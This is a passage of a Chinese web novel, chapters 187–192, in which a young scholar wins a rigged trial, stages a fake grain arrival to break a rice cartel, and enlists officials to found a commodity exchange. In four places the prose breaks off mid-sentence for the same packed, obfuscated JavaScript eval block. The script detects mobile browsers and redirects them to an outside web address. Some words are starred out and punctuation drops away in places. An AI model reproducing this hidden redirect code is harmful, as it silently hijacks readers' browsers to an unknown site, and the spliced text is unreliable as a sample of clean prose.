“天杀的!难怪巡检司的人会莫名其妙跑去城外,原来从头到尾就是个局! “连高秀才也他竟然也为虎作伥?他不是一向自称持身清正吗?呸!**子! **风向,在这一瞬间,以一种摧枯拉朽的姿态,彻底倒转! 先前还对卢璘破口大骂的百姓,此刻脸上写满了愧疚和愤怒,所有的矛头,都指向了呆若木鸡的周焕和高禀文! 周焕第一个反应过来,指着秦氏破口大骂:“你个**!你胡说八道什么!信不信老子 话还没说完,一直沉默的卢璘动了。 他一步上前,挡在了秦氏面前,冷冷地看着周焕。 “周差爷,当着陈大人的面,还想威胁人证吗? 被压抑了许久的自强社生员们,此刻也终于爆发了! 刘复第一个冲了出来,对着堂上高呼: “大人!真相大白!此乃栽赃陷害! “依《大夏律·诉讼例》,诬告反坐!凡告人罪,而虚不实者,以其所告之罪反坐之! 黄观也紧跟着站了出来: “他们诬告社首**之罪,按律,当以**之罪论处! 陆恒更是直接指向了高禀文,满脸鄙夷: “高禀文!你身为生员,却与官差勾结,构陷案首!按《大夏律》,品行不端,败坏士林风气者,当黜革功名,永不叙用! “请大人查明真相! “请大人严惩元凶! 自强社的生员们齐声高呼,声震云霄! 堂外百姓的怒火也被彻底点燃,纷纷跟着呐喊。 “严惩凶手! “革了高秉文的功名! “把这群畜生抓起来! 局势在短短一瞬间天翻地覆! 茶楼之上常万金一屁股坐回椅子上脸色阴沉:“怎么会这样?” “秦氏这**怎么会临时反水?” 周炳更是黑着一张脸想不通秦氏反水的原因。 公堂之上高禀文被这突如其来的变故彻底打蒙了。 指着秦氏又指着卢璘嘴唇哆嗦着了半天却一个字也说不出来。 他一生清誉何曾受过这等指控! “你你们血口喷人!血口喷人!” 高禀文气的浑身发抖一口气没上来两眼一翻竟直挺挺地向后倒去。 堂上的陈泉此刻更是汗如雨下官袍的后背都湿透了。 怎么也想不通一个稳操胜券的局一个走个流程的局怎么会突然崩成这个样子! 陈泉目光落在卢璘身上清晰地看到卢璘嘴角挂着笑意。 又看到堂外群情激奋的百姓听着那一声声严惩元凶的呼喊身子一软差点摊在椅子上。 完了。 这一次是真的完了。 堂内卢璘看着眼前混乱的一幕幕缓缓转身再次看向陈泉。 “陈大人**所向此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453237|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不判更待何时?” 陈泉看着外面黑压压的人群齐声高呼严惩凶手。 也知道事情发展到这一步强行给卢璘定罪是不现实了。 为了挽回自己的颜面也为了给众人一个交代陈泉捏着鼻子开口道: “巡检司差役周焕与人勾结诬告生员罪加一等!着即刻革去差役之职杖责三十下狱三月!” “生员高禀文品行不端败坏士林风气构陷案首罪大恶极!着即刻黜革其生员功名永不叙用!其恶行昭告临安府学以为全府士子之戒!” 话音落下衙役手中的板子高高举起 “啪!” “啊!” 周焕的惨叫声响彻长街。 相比于皮肉之苦高禀文的下场则更为凄惨。 “黜革功名永不叙用……” 听到这八个字时高禀文浑身猛地一颤一双浑浊老眼瞬间失去了光彩。 当了一辈子的道德楷模熬了 一辈子的士林君子,临到老了,却落得个身败名裂,功名被夺的下场。 这比杀了他还难受! 茶楼之上,雅间之内。 周炳想不通秦氏反水的关窍,但清楚地知道,当秦氏反水的那一刻,他们布置的这个局,就已经彻底崩了。 陈泉那个老东西,最是见风使舵。 顺风顺水,捞好处的时候,他比谁都积极。 可一旦情势不对,要他担半点风险,他缩得比谁都快。 指望他现在强行给卢璘定罪? 绝无可能。 “不用看了。 周炳收回视线,脸色阴沉:“走吧,这次没机会了。 “走? 常万金猛地回头,双眼赤红,面目狰狞:“我不走!老子今天就要看着他死! 说着,一把抄起桌上的茶壶,狠狠砸在地上。 “杀了他!我现在就去叫人,杀了他!我就不信,他还能长出三头六臂不成! “你疯了! 一直没说话的苏十三娘,柳眉倒竖,开口呵斥道: “你怕事情闹得不够大是吧? 苏十三娘几步走到常万金面前,迎上常万金那副要**的目光。 “咱们的目的求财!是闷声发大财!本就不希望朝廷把注意力放在临安府! “你现在去杀一个名动京都、圣上都亲自夸赞过的江南案首? “你是生怕朝廷不派钦差下来,把我们所有人的底裤都查个底朝天吗! 常万金被这番话吼得一愣,胸口剧烈起伏,却也冷静了几分。 瘫坐回椅子上,双手抱着头,低吼道:“那怎么办?杀不得,搞不臭!就眼睁睁看着这个小畜生,坏了我们的大事? “我们可都把全部身家都押上去了!这事要是不成,我们都得死!钱庄那群吸血鬼,会把我们骨头都给拆了! 第188章 粮食到了! 苏十三娘看着常万金这副失魂落魄的样子,发出一声冷笑。 “急什么。” “就算这次没搞臭他,以后还有的是机会,说到底,这群穷秀才拿得出钱吗?” “没有真金白银,他凭什么把粮价压下去?就凭他那张嘴?还是凭他秀才功名?” 常万金被苏十三娘这么一吼,也冷静了下来,耷拉着脸,一声不吭。 周炳摇了摇头,也没心情多呆了,率先起身走出了雅间,苏十三娘和常万金紧随其后。 几人刚下到一楼,迎面就看到学政衙门内走出一群人。 为首的,正是卢璘以及一众自强社生员。 此刻的卢璘被一群自强社生员簇拥在中间,如众星拱月。 黄观、陆恒、刘复、张胜等人,一个个昂首挺胸,眉飞色舞,和来时的憋屈担忧判若两人。 两拨人,在街上相遇,隔着三五步的距离,停了下来。 卢璘等人也看到了周炳、常万金、苏十三娘一行人,刚才还兴高采烈地自强社生员们,一个个怒目而视。 常万金一想到自己平白无故挨的那顿打,以及凭空增加的借贷开支,心里火气一下就上来了。 上前一步,指着卢璘的鼻子,咬牙切齿:“小子,算你运气好,让你逃过一劫!” “别得意!爷有的是手段陪你玩!我倒要看看,你到底有什么底气!” 苏十三娘也是第一次见到卢璘,忍不住多打量了几眼。 确实是一副俊俏的皮囊,眉清目秀,身形挺拔,难怪秦氏这个小寡妇临时反水。 可惜了,好死不死,非要一头扎进这浑水里来。 她扭着腰肢,上前一步,用帕子掩着嘴,娇声开口道: “卢案首,少年得志,可要惜福呢。” “这临安府的水深着呢,你一个读书人,还是安安分分地读你的圣贤书,准备秋闱才是正经。这些商贾俗事,可不是你该掺和的。” 一番话,明着是劝,实则是在捧杀,暗藏机锋。 周炳从始至终没有开口,一双阴鸷的眼珠子,死死地盯着卢璘。 张胜脾气爆,正想着上去骂一顿,出口气,这时,街角忽然传来一阵喧闹呼喊声。 紧接着,一个汉子 扯着嗓子,一边跑一边高声欢呼: “来船啦!来船啦!码头来船啦! “粮食到了!常州府粮食到了,粮价要降啦!大家快去看看啊! 一声高喊,瞬间点燃了整条街道。 沿街的百姓们,一听到粮食和降价,立刻爆发出更加激烈的呼喊: “真的假的?粮食到了? “太好了!终于有救了! “走走走!快去码头看看! 人群潮水般朝着城南码头的方向涌去。 自强社的生员们闻言,纷纷惊喜地看向卢璘。 卢璘与黄观、陆恒等人相视一笑。 这一幕,尽数落在了常万金的眼里。 他看着卢璘脸上笑意,心里的无名火再次窜了起来: “你不会以为,来了几船粮食,这粮价就会降吧? “做你的春秋大梦! “我告诉你,就算你拉来一百万石粮食,我们四大米行,也照样吃得下! 卢璘闻言,笑着摇了摇头。 没有和常万金多费半句口舌,转头对着身后的自强社生员们喊了一声。 “走,咱们也去码头上看看。 临安府,城南码头。 卢璘等人抵达的时候,码头上早已是人山人海。 无数百姓将码头围得水泄不通,所有人都伸长了脖子,踮着脚,拼命地向里张望。 在码头中央一块最开阔的空地上,一座座由麻袋堆叠而成的“粮山拔地而起,在午后阳光照耀下,显得格外壮观。 不少麻袋的口子是敞开的,露出里面金灿灿、颗粒饱满的稻谷。 几个码头的力夫正吆喝着,将一袋袋粮食从船上扛下来,每多一袋,人群中便爆发出一阵震天的欢呼。 “是真的!真的是粮食! 一个离得近的百姓,激动地抓起一把谷子,凑到眼前端详,甚至还放进嘴里咬了咬,随即热泪盈眶地高喊:“是今年的新粮!好米啊! “太好了!我们有救了! “再也不用去买四大米行那杀千刀的高价粮了! “听说这粮食,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453238|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卢案首让人从常州府调来了,真是活菩萨啊! “卢案首万岁 临安府百姓们压抑了这么多天的情绪,这一刻彻底爆发。 无数百姓喜极而泣,相拥而庆。 卢璘带着自强社众人好不容易挤到前排,看到眼前这番景象,张胜和刘复等人也是激动不已。 刘复率先站了出来,对着周围的百姓高声安抚道:“诸位乡亲!大家不要挤!不要慌! “这只是第一批!我们自强社从常州府调集的三十万石粮食,会陆续运抵临安!从今天起,大家再也不用担心会饿肚子了! 张胜更是直接跳上一个木箱,扯着嗓子大吼:“大家听我说!我们社首说了!这粮价,必须给它打下来!必须回到原来的价钱! “好! “说得好! 百姓们的情绪被彻底点燃,欢呼声一浪高过一浪。 黄观看着眼前这群情激奋的一幕,看着那些百姓脸上发自内心的笑容,长长地舒了一口气。 走到卢璘身边,难掩激动地开口:“琢之,成了! “民心可用,**已经彻底倒向我们。从今天开始,四大米行手里囤积的那些高价粮,怕是一粒都卖不出去了! 不止是卖不出去。 当所有人都相信粮价必将暴跌的时候,那些囤积居奇的米铺,为了及时止损,必然会争相降价抛售。 到时候,就会形成踩踏。 整个临安府的粮食市场,会瞬间崩盘。 四大米行,死定了。 卢璘看着黄观脸上如释重负的表情,淡然一笑。 “景明,让四大米行卖不出只是第一步。 黄观一愣。 就听到卢璘继续说道:“不止要让他们卖不出去。 “我还要他们,低价求着咱们买。 光做空,不抄底怎么行? 不把四大米行这几头养肥的猪吃干抹净,自己哪来的钱,去跟胡一刀合作,去开发运河码头地产? 基建项目可不像玩金融,能空手套白狼,没有真金白银砸下去。 滩涂怎么变高楼? 粮价要下去,自强社崛起的基础更要打得扎扎实实。 第189章 粮已成真! 留了一批生员在码头上引导秩序,卢璘没有多做停留,带着黄观等人回到了半亩园。 江上停着的一艘艘船,挂着的是常州府的旗号,但其实漕帮从临安府左近各处水路调集而来。 船上卸下的粮食,确实是真的。 只不过,也就只有摆在码头空地上,堆成小山的那几百袋而已。 至于船舱里剩下的,是稻草还是石头,根本不重要。 只要临安府的百姓们信了,四大米行信了,那些放贷的钱庄信了,那它就是真的。 …… 与此同时 通源钱庄后院。 大掌柜孙德海正焦躁地来回踱步,心腹伙计连滚带爬地冲了进来。 “掌柜的!掌柜的!真的是粮食!” 孙德海脚步一顿,一把抓住伙计的衣领:“看清楚了?真的是粮食?” “千真万确!小的亲眼所见!码头上堆得跟山一样,都是今年的新米!百姓们都快疯了,都说是卢案首从常州府调来的救命粮!” 伙计上气不接下气地汇报着。 孙德海松开手,长长地吐出一口气。 稳了。 只要真有粮食到了,以四大米行从自己和别的钱庄借到手的上百万两银子,就能稳稳地吃下了。 “好,好啊!” 孙德海连说了两个好字,眼中闪过笑意:“卢璘这小子,还真有点本事。” “还真能拉来三十万石粮食啊!” “不过,也到此为止了。” 另一边,半亩园。 卢璘等人刚踏进院门,就看到早已在院中等候的胡一刀以及一众精悍的漕帮汉子。 走进院内的卢璘笑着和胡一刀打了个招呼,这才看到胡一刀身后还站着一个抱着孩子的老妇人。 跟在众人身后的秦氏,在看到老妇人后,整个人都傻了,呆呆地站在原地,泪水瞬间模糊了双眼。 “娘虎子” 秦氏婆婆手中的孩子一看到秦氏,便哭喊着扑了过来。 秦氏一把将孩子紧紧搂在怀里,眼泪夺眶而出。 仔仔细细地确认孩子和婆婆都安然无恙后,秦氏抹了把眼泪,拉着孩子和婆婆,走到卢璘面前,扑通一声,重重跪下。 “恩公!大恩大德民女没齿难忘!” 说着一边重重地磕头砰砰几声额头都红了。 张胜站在人群里心里有些不是滋味。 挠了挠头想说点什么却又一个字也说不出来。 之前骂秦氏忘恩负义骂得最凶的就是他。 可到头来在公堂之上扭转乾坤给卢璘洗脱冤屈的也正是秦氏。 卢璘上前一步笑着让秦氏起身:“你这是做什么快起来。” 等秦氏慢慢起身情绪好转后卢璘这才开口问道: “秦氏以后有何打算?” 这话一出秦氏刚刚止住的泪水又涌了出来。 是啊以后怎么办? 自己当堂反水把四大米行和陈泉、高禀文那些人得罪了个底朝天。 周炳那些人心狠手辣搞不定卢恩公自己一家三口可怎么办啊? 卢恩公问这话难不成是有善后的法子了? 卢璘见秦氏泪眼相顾觉得秦氏确实是聪慧机敏自己才刚开口发问就猜到了自己的想法。 一旁的胡一刀见状主动开口: “若是不嫌弃可以来我漕帮找个活计。” “洗衣做饭总能糊口。有我漕帮在量他们也不敢动你一根汗**。” 黄观和张胜闻言眼睛一亮。 “对啊!胡二当家说的是!有漕帮庇护看谁还敢找麻烦!” 卢璘却摇了摇头。 “不妥。” 说着看向胡一刀解释道:“漕帮兄弟都是在刀口上舔血的汉子言行粗犷来往的也都是三教九流。秦娘子一个寡妇带着婆婆和孩子 此言一出众人都沉默了。 确实漕帮能保她安全却给不了一个安稳的生活。 陆恒想了想开口道:“若不然来我家的布庄帮忙吧?活计清闲也都是些女工方便照应。” 说完他看向秦氏征求她的意见。 秦氏却没有回答转头看向了卢璘。 卢璘沉吟片刻问向秦氏:“你可识字?会算术吗?” 秦氏愣了一下随即点了点头:“回恩公民女幼时读过几年私塾寻常 书信、账目,都还看得懂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453239|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身后的婆婆也连忙补充道:“我这媳妇,原也是大户人家的小姐,知书达理,只是……只是命苦,嫁给我那没福气的儿子,才落到这般田地…… 说着,老人家又忍不住抹起了眼泪。 秦氏赶忙回身安抚。 卢璘点了点头。 “这样吧,你先带着家人在半亩园住下,平日里帮着做些浆洗缝补的活计。过些时日,我自有新的差事交给你。 众人闻言,皆是一脸不解。 新的差事? 什么差事? 但见卢璘没有多解释的意思,大家也不便再问。 卢璘转向黄观:“景明,你安排一下,在后院给她们腾一间屋子出来。 黄观立刻点头应下。 安排好秦氏一家,卢璘这才将视线转向胡一刀。 “胡二当家,请内屋一叙。 胡一刀今天亲自登门,绝不仅仅是为了送秦氏家人过来这么简单。 胡一刀咧嘴一笑,跟着卢璘,一同走进了内屋。 胡一刀一进门,找了个位置大马金刀地坐下,直勾勾地瞅着卢璘,欲言又止。 今天在码头上胡一刀看得也是心惊肉跳。 百姓的欢呼是真的,四大米行的眼线是真的,可那船上的粮食是假的啊。 胡一刀是真担心按捺不住的百姓,去船上把那一袋袋装了石头的粮袋给背下来。 “卢案首,你跟我交个底,咱们接下来到底要怎么办? “今天这阵仗是造出去了,临安府上上下下都信了有三十万石粮食要来。可万一万一周炳那帮人铁了心,真拿出上百万两银子,要吃下咱们这批‘粮食’,咱们拿什么给人家? “到时候,别说压粮价了 虚张声势,只能唬人一时。 生意场上,最后还是要靠真金白银说话。 这几天,他翻来覆去睡不着,怎么也想不明白卢璘这棋局的下一步要怎么走。 “还有,就算他们怕了,想要降价抛售手里的存粮,可他们凭什么只卖给我们? “临安府里,想趁火**的小米商不少,甚至一些平日里不做粮食生意的豪绅大户,看到有机会,也难保不会动心插一脚。我们怎么才能成为唯一的买家? 第190章 大宗交易市场! 一个个问题,都是最现实,也是最致命的。 任何一个环节出了岔子,都会导致整个计划满盘皆输。 卢璘安静地听着,笑着给胡一刀倒了杯茶,脸上不见丝毫急色。 “胡二当家说的这些,我都想过。” 胡一刀端起茶杯,却没心思喝,一双虎目紧紧盯着卢璘:“那” 卢璘笑了笑,打断了他。 “不急。” “等一个人,还有个人没到!” 胡一刀一愣:“等谁?” 卢璘端起自己的茶杯,慢悠悠地开口: “等一个,能把二当家你刚才说的所有问题,都串起来解决的人。” …… 这一等,就等到了夜幕降临。 张胜和刘复等人几次想进来探问情况,都被卢璘打发了出去。 内屋的气氛,也随着时间推移,变得愈发凝重。 胡一刀一杯接一杯地喝着茶,从一开始的焦躁,到后来的麻木,最后只剩下沉默。 直到戌时末,院外终于传来一阵轻微的骚动,紧接着,陆恒匆匆前来敲门。 “琢之,人到了。” 胡一刀精神一振,猛地站了起来。 卢璘放下茶杯,起身理了理衣衫,对着胡一刀笑了笑。 “走吧,胡二当家,贵客临门了。” 两人一前一后走出内屋,只见院中不知何时,已经多了一队气息沉稳的护卫。 为首一名男子,约莫四十出头,身穿四品官服,面容清癯,眼神锐利,虽风尘仆仆,却自有一股久居上位的威严。 一见到卢璘,脸上立刻露出几分复杂的笑意,快步迎了上来。 “卢师弟,你可真是让为兄好找啊!” “沈师在信中语焉不详,只说你在临安府备下了一桩泼天的好事等着我,到底是什么事,值得你这般大费周章?” 来人,正是江南道转运使,康承民。 也是卢璘写信给沈春芳,真正要帮忙的事。 所谓的去常州府求购三十万石粮食,从头到尾,都只是一个幌子。 真正的目的,是想通过夫子的手,将这位负责整个江南漕运、盐铁、茶马的封疆大吏,请到临安府来。 说 实话,在接到沈师来信时,康承民心里是有些不快的。 以为是这个素未谋面的小师弟,仗着沈师的宠爱,想借自己转运使的身份,在这场临安府的粮价风波里,分一杯羹,赚些银钱。 读书人,不安分于举业,却钻营起这些商贾俗事,实在是有辱斯文。 而且赚的还是不义之财,康承民心里能舒坦才怪了! 来之前康承民便想好了,若是卢璘真提出这等要求,自己定会严词拒绝,并好生劝导一番,让他安心准备秋闱,莫要误入歧途。 可此刻,看着眼前这个年纪轻轻,却气度从容的师弟,康承民心里那点不快,又消散了几分。 胡一刀站在卢璘身后,当看清来人官服上的补子时,一颗心几乎要从嗓子眼里跳出来。 江南道转运使! 这可是他们整个漕帮的顶头上司! 平日里,自己连见一面的资格都没有。 卢案首,竟然能把这尊大神给请来了! “师兄一路辛苦。 卢璘拱手行礼,随即侧过身,介绍道:“这位是漕帮二当家,胡斐,此次临安之事,多亏了胡二当家鼎力相助。 康承民闻言,淡淡地瞥了胡一刀一眼,不咸不淡地点了点头,算是打过招呼。 若非看在卢璘的面子上,光凭胡一刀,连见他的资格都没有。 胡一刀明显地感受到了康承民的轻视,却不敢有丝毫怨言,反而愈发恭敬地躬身行礼。 简单的寒暄过后,卢璘将两人请入内屋。 分宾主落座,卢璘没有再绕圈子,直接开门见山: “师兄,今日请您过来,并非只是为了这小小的临安府粮价。 “而是想借着这次的机会,在江南,成立一个‘大宗交易市场’。 “大宗交易市场? 康承民和胡一刀同时皱起了眉,显然没听懂这个新词。 卢璘没有直接解释, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453240|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是反问道:“师兄,你身为转运使,若要平抑临安粮价,会如何做? 康承民沉吟片刻,答道:“无非是开官仓,调官粮,再行文申饬,勒令米商降价。手段虽然有效,但耗时耗力,且容易引起商贾反弹,后患无穷。 卢璘点了点头。 “不错传统的法子太慢也太笨。” “所以我想换个玩法。” “四大米行之所以敢囤积居奇无非是仗着手握现粮垄断了市场。可他们为了吃下更多的粮食已经把所有身家都投了进去甚至不惜借了上百万两的**。” “他们现在就是一座被架在火上烤的空心楼阁外强中干。” 卢璘看向一脸困惑的两人继续解释道:“我们不必卖出一粒米。我们只需要建立一个平台一个可以公开买卖粮引的平台。” “粮引?”胡一刀愈发糊涂了。 而康承民听到后却若有所思。 “对粮引。”卢璘接着解释。 “每一张粮引都代表着提取一百石粮食的凭证。” “我们可以先放出风声就说自强社手中有三十万石粮食的粮引愿意以低于市价一成的价格公开出售。” 康承民的眼睛在听到这句话时猛地亮了一下。 似乎抓到了什么关键。 就听到卢璘继续说着:“临安府的百姓、小米商甚至其他眼红的豪绅谁不想要这低价的粮引?一旦开售必然会引起疯抢。” “四大米行想吃下就得付出更大的成本!” “别看他们手上有上百万两银子能支持多久?” “要是这个时候爆出四大米行资金问题呢?” 还没等卢璘说完胡一刀激动地接过话茬: “为了偿还钱庄的巨额贷款他们只有一个选择。” “降价抛售!” “而且是为了活命不计成本的疯狂抛售!到时候整个临安府的粮食市场会瞬间崩盘。” 卢璘笑着点头: “而我们就可以在这个时候以极低的价格从容地将他们所有的粮食尽数收入囊中。” 说完整个内屋 第191章 青云之功,阳关大道。 胡一刀张着嘴,半天合不拢,他感觉自己的脑子,已经完全不够用了。 不卖一粒米,只卖几张纸,就能让四大米行倾家荡产,还能把他们的粮食全抢过来? 这是什么神仙手段? 康承民的呼吸也变得急促起来,死死地盯着卢璘,眼睛里写满了震撼。 他终于明白,沈师信中所说的“泼天的好事”,到底是什么了。 “大宗交易市场?”康承民反复咀嚼这几个字。 这哪里是商贾的牟利之术,分明是一把不见血的刀! 一把可以操控市场,聚敛财富,甚至能影响一地安稳的国之利器! 卢璘将两人的反应尽收眼底,丝毫不觉意外。 把金融这个大杀器拿到这个时代,也是经过深思熟虑的。 大夏朝的商业发展,已经到了一个临界点,尤其是在江南这种富庶之地,资本的流动和汇集,已经初具规模。 前世宋朝,就已经出现了交子这种纸币的雏形,大宗商品的期货交易,也并非天方夜谭。 自己要做的,就是将这个进程,稍微加快一些。 “此事若成,四大米行破产,临安粮价回归平稳,百姓免于饥荒。” “而我们,不仅能一文不花,尽得百万石粮食,更能借此机会,将这个大宗交易市场的规矩,彻底在江南立起来!” “以后,不止是粮食,盐、铁、茶、丝绸,所有大宗货物,都可以在这个平台上进行交易。” “朝廷只需坐收赋税,便可财源滚滚,国库充盈!” 卢璘站起身,走到康承民面前,一字一句地开口。 “师兄,这,才是我请你来的真正目的。” “这桩生意,你我,连同漕帮,三家来做。” “你以转运使的身份,为这个市场背书,确立官方地位。” “漕帮负责货物的仓储与运输,保障交易的执行。而我来制定所有的规则。” “事成之后,你可得青云之功,胡二当家,也能带领漕帮兄弟,走上一条正经的阳关大道。” “一举两得。” 卢璘说完,整个房间里,只剩下康承民和胡一刀粗重的呼吸声。 一举两得。 青云之功,阳关 大道。 一句话对应自己和漕帮分毫不差。 可小师弟偏偏落下了自己 康承民不是傻子光是一句“由我来制定规则”就能想得到小师弟想要的东西。 不过康承民一点都不眼红这一份泼天富贵是小师弟该得的。 甚至若没有师弟自己连闻一闻这富贵气味的机会都没有。 想到这里康承民的心里竟生出几分惭愧。 来时路上自己还以为这位素未谋面的小师弟是想借自己的身份在这场粮价风波里赚些不义之财心中颇有微词。 现在看来人家哪里是想分一杯羹这分明是给自己送上了一份青云之功! 自己的格局比起这位师弟简直是云泥之别。 朝廷正为了北境战事钱粮短缺而焦头烂额自己若是能将此法推行于江南稳定物价充盈国库…… 那将是何等巨大的功绩! 怪不得沈师在信中言之凿凿让自己无论如何都要来临安府一趟。 想来沈师早已洞悉了师弟的全盘计划。 想到这里康承民重新仔细地打量着卢璘满是意外的开口: “师弟你这个脑袋.到底是怎么长的?学问好也就罢了怎么连这商贾之事也如此精通?” 说完康承民转头看向一旁还处在震撼中没回过神来的胡一刀竟主动开起了玩笑。 “胡二当家你瞧瞧我这个师弟原本以为他只是文道天资纵横没想到这算盘珠子拨弄起来怕是比我们这些俗人加起来还要响亮!” 胡一刀被他这突如其来的亲近态度搞得一愣随即受宠若惊连忙躬身附和。 “是是!卢案首神人也!神人也!” 卢璘看着两人一唱一和心里暗自发笑。 自己这位康师兄也真是个拿得起放得下的人物。 先前还对自己这个胡一刀不咸不淡一听完漕帮在这“大宗交易市场”里起到的关键作用后态度立马一百八十度大转弯。 也难怪能在这鱼龙混杂的江南道坐稳转运使这个肥缺绝非等闲之辈。 胡一刀被康承民这么一打岔情绪也总算冷静了几分。 可冷静下来后,一个最关键的问题,又浮现在他心头。 “卢案首,康大人,就算我们把这粮引放出去,四大米行也确实慌了,可……可他们的资金链,怎么会说断就断? “钱庄那群吸血鬼,又不是傻子,怎么会无缘无故地就在这个节骨眼上,上门去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453241|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逼债? 这话一出,屋内的气氛再次凝固。 没错,钱庄逐利,只要四大米行能按时付息,他们巴不得这**一直放下去。 卢璘闻言,脸上笑意盈盈,没有直接回答,而是转头看向了康承民。 “这,就要仰赖师兄了。 康承民一怔,随即疑惑地摆了摆手: “师弟太高看我了。我这个江南道转运使,管的是漕运盐铁,可管不到那些钱庄的头上。他们背后关系盘根错节,不会轻易听我的话。 卢璘笑着摇了摇头: “师兄自然没有这个权力。 “可学生听闻,江南道新设的银监司主官,秦有德秦大人,曾与师兄是同科进士,关系莫逆。 银监司,是朝廷类似于“交子务设的衙门,专司监管民间钱庄、票号等借贷之所,有核查账目、制定存贷官息之权,形同后世的中央银行。 “师兄你想,若是这个时候,秦大人以核查旧账、防范风险为由,对临安府各大钱庄进行一次严查,收紧银根,会发生什么? 卢璘顿了顿,看着康承民逐渐变化的表情,继续说道。 “钱庄的钱袋子一紧,他们第一个想到的,必然是收回那些风险最高的借贷。而周炳他们这一百万两,就是最大的风险。 “更何况,我们这个大宗交易市场,想要做大,也离不开钱庄的参与。与其将来便宜了别人,不如现在就让师兄做个顺水人情,把秦大人也拉上船。 “这桩泼天的功劳,有师兄一份,自然也该有秦大人的一份。 康承民听完,彻底呆住了。 张了张嘴,半天说不出一句话来。 顺水人情? 这哪里是顺水人情! 这简直是把一份天大的功劳,掰开了揉碎了,亲自喂到自己和同窗的嘴里! 许久,康承民才长长吐出一口气,指着卢璘,哭笑不得。 “师弟啊,师弟! “你当真是算无遗策,连我这层关系,都被你算计进去了! “我算是明白了,沈师为何说你是百年不遇的奇才。你这哪里是奇才,分明就是个妖孽! 康承民摇着头,脸上满是惊叹折服,说着猛地一拍大腿,从座位上站了起来。 “好!就按师弟说的办! “我这就修书一封,请秦有德这个老家伙,来临安府喝杯茶! 第192章 三杯茶! 临安府作为江南道首府,银监司在江南道的官署,自然也设立于此。 信送出去没多久,当夜,秦有德就到了。 秦有德是个什么样的人? 第一眼看去,便知是个不好相与的角色。 年近五旬,身形清瘦,但腰杆挺得笔直,一身崭新的官服穿在身上,找不出一丝褶皱。 两道法令纹深深刻在脸颊,不苟言笑,自带一股官威。 这是卢璘见到秦有德的第一印象。 秦有德一进院子,先是冲着康承民拱了拱手,算是打了招呼,可视线落在康承民身边的卢璘身上时,眉头就不动声色地皱了起来。 卢璘何人,秦有德当然知道。 江南道案首,圣上都夸赞过的年轻才俊。 最近这段时间,在临安府内和四大米行斗得天翻地覆,更是人尽皆知。 秦有德也清楚康承民和卢璘的师兄弟关系。 脑袋一想,也大概猜到了康承民让自己过来的原因。 原本就不苟言笑的脸色,更是黑了几分。 在秦有德看来,卢璘此举,终究是落了下乘。 一个前途无量的读书人,不好好准备秋闱,却掺和进这满是铜臭的商贾之事,甚至不惜动用师门关系,将堂堂江南道转运使都拉下水。 无非是想借着康承民的势,在这场粮价风波里,为自己捞取些好处罢了。 因此,秦有德对卢璘的第一印象并不好。 这份不冷不热的态度,自然被康承民尽收眼底。 康承民心里暗笑,也不解释。 他太了解自己这位同科老友的脾气了,茅坑里的石头,又臭又硬,但为人最是公允,也最识货。 我倒要看看,你这家伙,待会怎么变脸。 简单的寒暄过后,三人重新在内屋落座。 卢璘没有等康承民开口介绍,直接开门见山:“秦大人,这次冒昧让师兄请您过来,其实是学生的主意。” 秦有德眼皮都没抬一下,微微颔首: “卢案首才高八斗,前程似锦,眼下理应闭门苦读,全力备战秋闱才是。” “见本官,所为何事?” 话里话外,都是对卢璘不务正业的敲打和不满。 